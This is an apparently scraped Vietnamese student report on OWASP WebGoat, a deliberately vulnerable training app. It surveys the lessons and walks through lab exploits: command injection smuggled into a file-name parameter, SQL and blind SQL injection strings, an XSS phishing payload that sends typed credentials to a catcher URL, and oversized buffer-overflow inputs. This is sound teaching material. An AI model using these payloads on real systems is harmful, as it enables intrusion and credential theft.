Professional Documents
Culture Documents
2
Hijack a Session 29
2.4.14. Lỗ hổng Web Services ..................................................................................................... 29
2.4.14.1. Create a SOAP Request ................................................................................................... 29
2.4.14.2. WSDL Scanning ............................................................................................................... 30
CHƯƠNG III. THỰC NGHIỆM KHAI THÁC LỖ HỔNG VỚI ỨNG DỤNG WEBGOAT .
......................................................................................................................................... 31
3.1. Cài đặt WebGoat ..........................................................................................................................31
3.2. Thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat ...........................................31
3.2.1. Command Injection ......................................................................................................... 31
3.2.2. Numeric SQL Injection ................................................................................................... 33
3.2.3. Blind String SQL Injection ............................................................................................. 34
3.2.4. Phishing with XSS............................................................................................................ 37
3.2.5. Buffer Overflows .............................................................................................................. 39
3
DANH MỤC CÁC KÍ HIỆU CÁC CHỮ VIẾT TẮT
Kí hiệu Cụm Từ đầy đủ
AJAX Asynchronous JavaScript and XML
CSS/XSS CSS/XSS Cross Site Scripting
DOS Denial of service
HTTP HyperText Transfer Protocol
OWASP Open source Web Application Security Project
IMAP Internet Message Access Protocol
JSP JavaServer Pages
JDK Java Development Kit
SMTP Simple Mail Transfer Protocol
SQ.L Structured Query Language
URL Uniform Resource Locator
XML Xtensible Markup Language
4
DANH MỤC CÁC BẢNG
Bảng 1. 1 Các rủi ro theo tiêu chuẩn OWASP .............. Error! Bookmark not defined.
Bảng 2. 1 Danh sách các bài học có trong WebGoat .................................................... 8
Bảng 2. 2 Chức năng của lớp LessonAdapte ................ Error! Bookmark not defined.
Bảng 2.3 So sánh WebGoat với DVWA ....................................................................... 12
5
DANH MUC CÁC HÌNH VẼ
Hình 1.1. Mô hình 3 tầng của ứng dụng web ................................ Error! Bookmark not defined.
Hình 1.2. Mô hình dịch vụ ứng dụng web đơn giản ...................... Error! Bookmark not defined.
Hình 1.3. Mô tả hoạt động của 1 ứng dụng web ........................... Error! Bookmark not defined.
Hình 1.4. Mô hình hoạt động của một ứng dụng web ................... Error! Bookmark not defined.
6
Hình 3. 5. Numeric SQL Injection ................................................................................................ 33
Hình 3. 6. Kết quả xem thời tiết Colombia ................................................................................... 34
Hình 3.7. Kết quả Numbueric SQL Injection ................................................................................ 34
Hình 3.8. Blind StringSQL Injection ............................................................................................. 35
Hình 3.9. Blind Numberic SQL Injection kết quả thử với chữ H ................................................. 36
Hình 3. 10. Kiểm tra chữ cái đầu tiên có nhỏ chữ “N” không...................................................... 36
Hình 3. 11. Thử chữ cái đứng thứ 2 trong từ cần tìm có nhỏ hơn chữ “h” không......................... 37
Hình 3. 12. Kết quả chèn thử với đoạn <script>alert(1) </script> ................................................ 37
Hình 3.13. Giao diện đăng nhập giả mạo ...................................................................................... 39
Hình 3.14. Kết quả phishing with XSS ......................................................................................... 39
Hình 3. 15. Nhập giá trị khai thác lỗ hổng Buffer Overflow ......................................................... 40
Hình 3. 16. Buffer Overflow thử với 1025 kí tự ........................................................................... 40
Hình 3. 17. Kết quả tràn bộ nhớ đệm thử với 4097 kí tự .............................................................. 41
7
CHƯƠNG II. TỔNG QUAN VỀ WEBGOAT
2.2. Cấu trúc và đặc điểm của WebGoat
Trong WebGoat có các bài học liên quan đến các vấn đề sau:
Access Control Flaws
Communication
Web Services
Các vấn đề trên sẽ được tích hợp dưới dạng phần của bài học. Mỗi một lỗ
hổng sẽ có những phần tương ứng đi kèm để cho người dùng thực hành. Người
dùng phải hoàn thành tất cả các phần tương ứng đó để có thể hiểu hết về lỗ hổng
đó. Mỗi một phần là một dạng nhỏ của lỗ hổng ứng dụng web đó. Ví dụ như trong
lỗ hổng Injection sẽ có các phần gồm Command line, Numberic SQL Injection,
Lab Injection, String Blind SQL....
9
SQL Injection
LAB: SQL Injection
Làm thế nào để sử dụng Backdoor Cơ sở
dữ liệu
Xử lý lỗi không đúng cách How to Bypass a Fail Open
Authentication Scheme
Lưu trữ không an toàn Khái niệm cơ bản Encoding
Từ chối dịch vụ Denial of Service From Multiple Logins
Quản lý cấu hình không an toàn Cách để tạo một yêu cầu SOA
Dịch vụ Web Quét WSDL
Web Service SAX Injection
Tấn công SQL dịch vụ web
AJAX Security DOM Injection
XML Injection
Tấn công giao dịch im lặng
Mỗi giai đoạn của bài học trong WebGoat, điều quan trọng là phải hiểu được
hoạt động của mục tiêu. Điều này thường bao gồm:
Kiểm tra nội dung phía client, chẳng hạn như HTML và script
Phân tích thông tin liên lạc giữa máy khách và máy chủ
Rà soát các tập tin cookie và các dữ liệu khác
Các trình duyệt thường cung cấp tính năng cho xem mã nguồn HTML.
WebGoat mở rộng trên đó có các hoạt động để hiển thị Params, Show HTML,
Show Cookies và Show Java. Trong những trường hợp bình thường trình duyệt
cung cấp một tính năng để xem mã nguồn HTML. Đối với Microsoft Internet
Explorer này là "Source" dưới menu View. Đối với Firefox này là "Page Source"
dưới menu. Các tính năng hiển thị HTML của WebGoat chỉ hiển thị HTML có liên
quan cho bài học hiện hành.
10
Hình 2.1. Show Cookies / Parameters trên WebGoat v4
Trong phiên bản WebGoat 7 thì cokies và Parameters được hiển thị luôn trên
web.
WebGoat cho phép đọc các file có trong hệ thống với input đầu vào do
người dùng nhập vào ví dụ:
"E:\phanmem\webgoat\.extract\webapps\WebGoat\plugin_extracted\plugin\Com
mandInjection\resources\AccessControlMatrix.html" để xem nội dung của file
AccessControlMatrix.html mà tên file AccessControlMatrix.html là do người
dùng chọn. Kẻ tấn công có thể thay đổi câu truy vấn bằng cách chỉnh sửa nội
dung input nhập vào để thực hiện thực hiện mục đích của mình.
15
Hình 2.6. Phishing với XSS
2.4.2.2. Stored XSS Attacks
Stored XSS là dạng tấn công mà kẻ tấn công chèn trực tiếp các mã lỗi vào
cơ sở dữ liệu của website. Dạng tấn công này xảy ra khi các dữ liệu được gửi lên
hệ thống không được kiểm tra kỹ lưỡng mà lưu trực tiếp vào cơ sở dữ liệu. Khi
người dùng truy cập vào trang web này thì những đoạn script độc hại sẽ được thực
thi chung với quá trình load trang web.
Dạng tấn công bằng Stored XSS được mô tả như sau
17
Hình 2.9. Cross Site Request Forgery
18
Hình 2.11. Reflected XSS
2.4.3. Lỗ hổng Access Control
2.4.3.1. Bypass a Path Based Access Control Scheme
Trong phần này đưa ra lỗi bảo mật tập tin thông qua đường dẫn file, trên
một webserver ứng với mỗi tập tin đều có đường truy cập thông qua một đường
dẫn (URL) nhưng không phải bất kỳ tập tin nào cũng được phép truy cập, ở đây có
một danh sách các tập tin được phép truy cập, kẻ tấn công sẽ thực hiện can thiệp
vào các request gửi lên webserver để thay đổi đường dẫn URL. Người dùng
'webgoat' có quyền truy cập vào tất cả các tệp trong thư mục lessonPlans/en. Kẻ tấn
công cố gắng phá vỡ cơ chế kiểm soát truy cập và truy cập vào tài nguyên không
có trong danh sách tập tin cho phép. Sau khi chọn một tập tin để xem, WebGoat sẽ
báo cáo nếu truy cập vào tập tin đã được cấp. Đường dẫn truy cập mà server cho
phép:
E:\Phanmem\webgoat\.extract\webapps\WebGoat\plugin_extracted\plugin\A
ccessControlMatrix\lessonPlans\en
19
Hình 2.12. Bypass a Path Based Access Control Scheme
2.4.3.2. Using an Access Control Matrix
Phần này tìm hiểu về vai trò và sự cấp quyền, mỗi người được gán với một
vai trò tương ứng với một công việc nào đó, ví dụ:
User Moe [Public] was allowed to access resource Public Share
User Curly [Public, Manager] was allowed to access resource Performance
Review
User Shemp [Admin] was allowed to access resource Account Manager
User Larry [User, Manager] was allowed to access resource Account
Manager
Phần này yêu cầu tìm được user có quyền admin trong các user trên.
Trong phần này, có 6 password để kiểm tra trong bao lâu thì password đó bị
phá bằng trang web https://howsecureismypassword.net
20
Hình 2.13. Password Strength
2.4.4.2. Forgot Password
Mật khẩu đôi khi bị quên, hoặc vì lí do nào đó mà bị mất thì việc khôi phục
mật khẩu là điều cần thiết đối với mỗi hệ thống. Cẩn trọng trong việc đặt câu hỏi
khôi phục mật khẩu. Việc đặt câu hỏi đơn giản, đáp án trả lời ít thì kẻ tấn công có
thể tự dò hoặc đoán ra. Trong phần này, để khôi phục lại mật khẩu thì người dùng
đã đặt các câu trả lời dễ đoán và đơn giản dẫn. Qua đó sẽ bị kẻ tấn công lấy được
mật khẩu.
Các lỗi tràn bộ đệm có thể làm cho một tiến trình đổ vỡ hoặc cho ra các kết
quả sai. Các lỗi này có thể được kích hoạt bởi các dữ liệu vào được thiết kế đặc
biệt để thực thi các đoạn mã phá hoại hoặc để làm cho chương trình hoạt động một
cách không như mong đợi. Bằng cách đó, các lỗi tràn bộ đệm gây ra nhiều lỗ hổng
bảo mật đối với phần mềm và tạo cơ sở cho nhiều thủ thuật khai thác (exploit).
Việc kiểm tra biên đầy đủ bởi lập trình viên hoặc trình biên dịch có thể ngăn chặn
các lỗi tràn bộ đệm.
Trong phần này, hệ thống yêu cầu nhập first name, lastname, room number,
qua đó kẻ tấn công cố gây ra lỗi tràn bộ đệm để thực hiện mục đích của mình. Ở
phần này thì yêu cầu là lấy được tài khoản của khách VIP.
22
theo webserver mà số lượng kết nối "concurrent connection" là nhiều hay ít, khi số
lượng kết nối đó nhiều hơn số lượng cho phép webserver từ chối các kết nối tiếp
theo đó.
Trong phần này, hệ thống web chỉ cho phép 2 connection login, nhiệm vụ là
sẽ tìm ra ba tài khoản hợp lệ để đăng nhập và làm cho webserver tê liệt.
23
2.4.8. Lỗ hổng AJAX
AJAX là một nhóm các công nghệ phát triển web được sử dụng để tạo các
ứng dụng web động hay các ứng dụng giàu tính Internet. AJAX Security là các vấn
đề an ninh gặp bởi các ứng dụng AJAX.
DOM Injection là lỗ hổng cho phép chèn mã xấu làm thay đổi cấu trúc của
trang web bằng cách thay đổi cấu trúc HTML.
24
Hình 2.19. Client Side Filtering
2.4.8.3. XML Injection
Trong ứng dụng web, client và server dùng XML để trao đổi dữ liệu.
Lỗ hổng XML injection cho phép kẻ tấn công cố gắng tiêm thẻ XML khác
nhau trong thông điệp SOAP nhằm sửa đổi cấu trúc XML.
Yêu cầu của phần này: WebGoat-Miles phần thưởng Miles cho thấy tất cả
các phần thưởng có sẵn. Khi bạn nhập ID tài khoản, hệ thống sẽ hiển thị số dư của
tài khoản và các sản phẩm mà tài khoản có thể mua được. Mục tiêu là cố gắng
thêm sản phẩm vào phần tài khoản có thể mua. ID tài khoản của bạn là 836239.
25
đó. Tùy thuộc vào mục đích mà dữ liệu này được sử dụng, nó có thể là có thể lật đổ
logic của ứng dụng, hoặc gây ra những hành động ngoài ý muốn trên danh nghĩa
của người dùng.
Trong phần này muốn đặt vé máy bay có hai loại vé:
Trong phần yêu cầu: khi nhập User là “Webgoat” và mật khẩu là “webgoat”
(tức thông tin đúng) thì không vấn đề gì xảy ra, nhưng khi bỏ trống password thì
thông báo này đã hiển thị “* Invalid username and password entered”. Yêu cầu đã
đăng nhập thành công mà không cần mật khẩu.
26
Hình 2.22. Fail Open Authentication Scheme
2.4.10. Lỗ hổng Insecure Communication
Đăng nhập với mật khẩu không mã hóa (plain text), khi Submit lên server thì
người tấn công có thể sử bắt gói tin và biết được password.
Trong phần này sẽ cho upload một file ảnh lên hệ thống mà không có kiểm
tra ảnh. Kẻ tấn công có thể upload một file thực thi lên hệ thống.
27
Hình 2.24. Malicious Execution
2.4.12. Lỗ hổng Parameter Tampering
2.4.12.1. Exploit Hidden Fields
Hidden fields thường được dùng để lưu trữ dữ liệu tạm thời nào đó mà
người dùng bình thường không thấy được, Hidden fields không được kiểm tra lại
lúc thực thi ở server nên có thể bị thay đổi, lúc này logic không còn đúng nữa.
28
Hình 2.26. Exploit Unchecked Email
2.4.13. Lỗ hổng Session Management
Hijack a Session
Hijack a Session là một loạt các tấn công khác nhau, các tấn công có liên
quan đến sự khai thác session giữa các thiết bị đều được coi là chiếm quyền điều
khiển session.
Các nhà phát triển ứng dụng phát triển thường quên kết hợp sự phức tạp và
tính ngẫu nhiên cần thiết cho biến session. Session phải được sinh ngẫu nhiên trong
mỗi phiên. Nếu biến session của người dùng cụ thể không phức tạp và ngẫu nhiên,
thì ứng dụng rất nhạy cảm với các tấn công bạo lực dựa trên phiên.
Các dịch vụ web truyền đạt thông qua việc sử dụng các yêu cầu SOAP. Các
yêu cầu này được gửi đến một dịch vụ web nhằm thực hiện một chức năng được
định nghĩa trong ngôn ngữ định nghĩa dịch vụ web (WSDL).
Yêu cầu là lấy một số số tín dụng của khách hàng thông qua việc kiểm tra
tệp WSDL cho dịch vụ web.
30
CHƯƠNG III. THỰC NGHIỆM KHAI THÁC LỖ HỔNG VỚI ỨNG DỤNG
WEBGOAT
3.1. Cài đặt WebGoat
Bước 1: Cài đặt JDK. Tải JDK [6].
Bước 2: Cài đặt WebGoat. Tải WebGoat [7].
Sau đó vào trình duyệt gõ địa chỉ http://localhost:8080/WebGoat đăng nhập
tài khoản để bắt đầu thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat.
3.2. Thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat
3.2.1. Command Injection
Máy chủ web cho phép đọc một số file có sẵn trong hệ thống thông qua
lệnh cmd của máy chủ web. Các file đọc được hiển thị dưới dạng checkbox.
C:\Users\Administrator\Downloads\.extract\webapps\WebGoat\plugin_extr
acted\plugin\CommandInjection\resources\AccessControlMatrix.html
Máy chủ web trả về nội dung của file AccessControlMatrix.html.
Hình 3.1. Truy vấn bình thường khi chưa tấn công Command Injection
Muốn chèn mã lỗi lên server cần chặn bắt gói tin trên đường truyền và
chỉnh sửa gói tin đó trước khi gửi tới server.
Bước1: Mở Tamper lên để bắt gói tin. Trên thanh công cụ của trình duyệt
firefox chọn Tools -> Tamper ->Data -> StartTamper.
31
Hình 3.2. Tamper bắt gói tin
Sau khi bắt gói tin có thể biết được nhiều thông tin như địa chỉ ip, cổng
dịch vụ web, phiên bản trình duyệt, cookie và một vài thông tin khác. Trong đó có
phần HelpFlie, phần HelpFile là tên file hệ thống sẽ đọc từ input đã được chọn.
Bước 2: Chuyển đổi chuỗi Ping google.com sang chuỗi dạng URI vì khi
nhập phương thức chuyền ViewPOST này chỉ hỗ trợ chuỗi dạng URI.
Bước 3: Sau khi bắt được gói tin ta tiến hành sửa đoạn HelpFile bằng
đoạn: %22%20%26%20ping%20google.com. Rồi forward gói tin
Đây là câu truy vấn sau khi đã thay đổi tham số:
'cmd.exe/ctype"E:\Phanmem\webgoat\.extract\webapps\WebGoat\plugin_e
xtracted\plugin\CommandInjection\resources\" & ping google.com"'
Kết quả được trả về như hình dưới. Mã lỗi đã được thực hiện và server đã
32
ping đến google.com thành công.
Hình 3.4. Kết quả sau khi khai thác Command Injection
3.2.2. Numeric SQL Injection
Hệ thống cho phép xem thời tiết của một địa điểm nhất định. Danh sách địa
điểm này được hiển thị dưới dạng checkbox.
33
Hình 3. 6. Kết quả xem thời tiết Colombia
Bước 2: Để lấy hết thông tin tất cả bản ghi ra thì thêm đoạn or 1=1 vào sau
câu truy vấn. Từ đó câu truy vấn trở thành:
SELECT * FROM weather_data WHERE station = 101 or 1=1
Trong câu truy vấn trên gồm hai phần:
Phần trước WHERE là phần chính của câu truy vấn
Phần sau WHERE là các điều kiện kèm theo của phần trước.
1=1 là luôn đúng, nên điều kiện WHERE station = 101 or 1=1 có vế sau luôn
đúng. Từ đó câu truy vấn “SELECT * FROM weather_data WHERE station =
101 or 1=1” luôn đúng. Vì vậy có thể in ra tất cả các bản ghi.
34
Hình 3.8. Blind StringSQL Injection
Các bước thực hiện:
Bước 1: Câu truy vấn:
SELECT * FROM user_data WHERE userid=accountNumber;
với accountNumber là số mà người dùng nhập vào.
Thử với 101=> Account number is valid.
Thử tiếp với 1000 => Invalid account number.
Blind SQL Injection là một kiểu tấn công SQL Injection hỏi các câu hỏi
cơ sở dữ liệu đúng hoặc sai và xác định câu trả lời dựa trên phản ứng của ứng
dụng. Ở đây coi Account number is valid là giá trị đúng, Invalid account number
là giá trị sai.
Nhập đoạn mã sau:
101 AND (SUBSTRING((SELECT name FROM pins WHERE
cc_number='4321432143214321'), 1, 1) < 'H' ). Từ đó câu truy vấn gửi đến server
có dạng:
SELECT * FROM user_data WHERE userid=101 AND (SUBSTRING((SELECT
name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' )
Với toán tử AND, điều kiện userid =101 luôn đúng. Vì vậy tính đúng sai của
câu truy vấn này phụ thuộc vào phần (SUBSTRING((SELECT name FROM pins
WHERE cc_number='4321432143214321'), 1, 1) < 'H' ).
Sử dụng hàm SUBSTRING() đùng để cắt chuỗi. Hàm SUBSTRING (string,
start, length )
Trong đó:
String: là chuỗi cần cắt.
35
Start: là vị trí bắt đầu cắt chuỗi. Start là số nguyên, có thể âm.Nếu
start âm thì cắt từ cuối chuỗi và cắt ngược lại.
Length: là độ dài chuỗi cần cắt tính từ vị trí bắt đầu.
SELECT name FROM pins WHERE cc_number = '4321432143214321' là
chọn bản ghi của cột name từ bảng pins với điều kiện cc_number =
'4321432143214
(SUBSTRING((SELECT name FROM pins WHERE cc_number =
'4321432143214321'), 1, 1) < 'H' ) có thể hiểu là cắt chuỗi được lấy từ cột name
trong bảng pins với điều kiện cc_number = 4321432143214. Cắt từ đầu chuỗi và
lấy một kí tự ( lấy kí tự đầu tiên của chuỗi) so sánh xem có nhỏ hơn chữ ‘H’ trong
bảng chữ cái không.
Hình 3.9. Blind Numberic SQL Injection kết quả thử với chữ H
Kết quả trả Kết quả trả về là Invalid account number. Kết quả trả về sai.
Từ đó chữ đầu tiên của từ cần tìm là những chữ đứng sau chữ “H” trong
bảng chữ cái. Tiếp tục thử tiếp câu truy vấn:
SELECT * FROM user_data WHERE userid=101 AND
(SUBSTRING((SELECT name FROM pins WHERE
cc_number='4321432143214321'), 1, 1) < 'N' );
Kiểm tra chữ cái đầu tiên của từ cần tìm có nhỏ chữ “N” không.
Hình 3. 10. Kiểm tra chữ cái đầu tiên có nhỏ chữ “N” không.
36
Kết quả trả về là đúng.
Từ đó chữ đầu tiên trong từ cần tìm là chữ trong khoảng từ chữ “H” đến chữ
“N” trong bảng chữ cái.
Sau vài lần thử thì được kết quả là chữ đầu tiên trong từ cần tìm là chữ “J”.
Tiếp tục thử chữ cái đứng thứ 2 trong từ cần tìm có nhỏ hơn chữ “h” không.
SELECT * FROM user_data WHERE userid=101 AND
(SUBSTRING((SELECT name FROM pins WHERE
cc_number='4321432143214321'), 2, 1) < 'h' );
Hình 3. 11. Thử chữ cái đứng thứ 2 trong từ cần tìm có nhỏ hơn chữ “h” không
Kết quả trả về là sai.
Sau vài lần thử tìm được từ cần tìm là: Jill
3.2.4. Phishing with XSS
Các bước thực hiện:
Bước 1: Hệ thống cung cấp một form tìm kiếm. Kiểm tra xem server có bị
lỗi XSS hay không thì trong ô tìm kiếm nhập thử một đoạn <script> bất kì:
<script>alert(1) </script>
Hệ thống trả vể một popup đúng là giá trị ‘1’ vừa truyền vào từ ô tìm kiếm.
Hình 3. 12. Kết quả chèn thử với đoạn <script>alert(1) </script>
Như vậy có thể kết luận hệ thống bị lỗi XSS.
37
Bước 2: Thay vì truyền đoạn mã lỗi đơn giản như trên ta nhập vào một
đoạn mã phức tạp hơn để lấy cắp thông tin, cụ thể như sau:
Nhập đoạn mã sau:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src =
"http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+
document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name
= " + document.phish.user.value + "Password = " +
document.phish.pass.value);} </script><form name="phish"> <br><br> <HR>
<H3> account login:</H3 ><br><br>Enter Username:<br><input type="text"
name="user"><br>Enter Password:<br><input type="password" name =
"pass"><br><input type="submit" name="login" value="login"
onclick="hack()"></form><br><br><HR>
Đoạn mã trên có chức năng tạo một form đăng nhập giả mạo. Khi được
kích hoạt thì toàn bộ thông tin đăng nhâp gồm uername, password sẽ được hiển
thị.
Trong đó đoạn mã:
</script><form name="phish"> <br><br> <HR> <H3> account
login:</H3 ><br><br>Enter Username:<br><input type="text"
name="user"><br>Enter Password:<br><input type="password" name =
"pass"><br><input type="submit" name="login" value="login"
onclick="hack()"></form><br><br><HR>
Là để tạo ra 1 from đăng nhập có 2 trường nhập Username và Password và
một nút submit là login.
38
Hình 3.13. Giao diện đăng nhập giả mạo
Đoạn mã:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src =
"http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+
document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name
= " + document.phish.user.value + "Password = " + document.phish.pass.value);}
Dùng để xử lí các chuỗi kí tự nhập vào từ from login vừa tạo ra. Khi người
dùng nhập vào thì hàm hack() sẽ bắt các ký tự và xử lý đưa ra thông báo tên tài
khoản, mật khẩu và hiển thị cookie người dùng.
39
Hình 3. 15. Nhập giá trị khai thác lỗ hổng Buffer Overflow
Các giá trị nhập vào sẽ truyền dưới dạng ẩn. Dùng Firebug hiện thị mã
nguồn lên và tìm các tham số ẩn vừa nhập ở trên.
Dùng Firebug để thấy được các trường ẩn các giá trị vừa điền. Thông thường
các trường thường có giá trị giới hạn là 1024 kí tự, 2048 kí tự, 4096 kí tự. Vì vậy
để kiểm tra lỗi tràn bộ đệm thì nhập số kí tự vượt quá giá trị giới hạn của các
trường. Để kiểm tra xem có lỗi tràn bộ đệm không thì thường thử với các giá trị
1025, 2049, 4097 kí tự ứng với mỗi giá trị giới hạn của các trường vào các trường.
Hình dưới thử với 1025 kí tự.
40
Kết quả là hệ thống vẫn hoạt động bình thường không có lỗi tràn bộ nhớ
đệm.
Tiếp theo thử với 4097 kí tự. Kết quả xuất hiện lỗi tràn bộ đệm.
Hình 3. 17. Kết quả tràn bộ nhớ đệm thử với 4097 kí tự
Với 4097 kí tự đã làm cho hệ thống xuất hiện lỗi tràn bộ đệm. Từ đó hệ
thống để lộ các thông tin về khách VIP. Kết quả:
First name: Johnathan
Lastname: Ravern
Room number: 4321.
41